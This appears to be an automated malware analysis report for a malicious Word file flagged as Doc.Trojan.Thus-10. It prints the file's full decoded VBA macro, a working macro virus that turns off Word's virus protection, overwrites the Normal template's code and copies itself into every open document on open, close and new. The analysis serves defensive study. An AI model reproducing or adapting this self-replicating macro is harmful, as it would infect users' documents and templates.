Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c677843ffc850c41…

MALICIOUS

Office (OLE)

38.5 KB Created: 2012-01-25 22:43:00 Authoring application: Microsoft Word 10.0 First seen: 2020-09-15
MD5: a062504c926b44b8d4509d4c76fcfb1c SHA-1: 23853156fa3d746f1c7d75eeafdde50749732253 SHA-256: c677843ffc850c41bdd468134b392aa88b9f059dea5842bd95c81daa7702a940
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon document opening. The ClamAV detection 'Doc.Trojan.Thus-10' strongly indicates malicious intent. The macro code appears to be designed to copy itself to the NormalTemplate and other open documents, potentially to ensure persistence or spread. The document body content is benign and appears to be a distraction.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2249 bytes
SHA-256: 54bea4a6d24b7a952d4b2b778a0c52a675af1d6a4f5dcfd32a822ede159ae638
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
'Anti-Virus'
' This virus is an alteration of a virus which was
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Virus'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Virus'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
        End If
    Next k
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub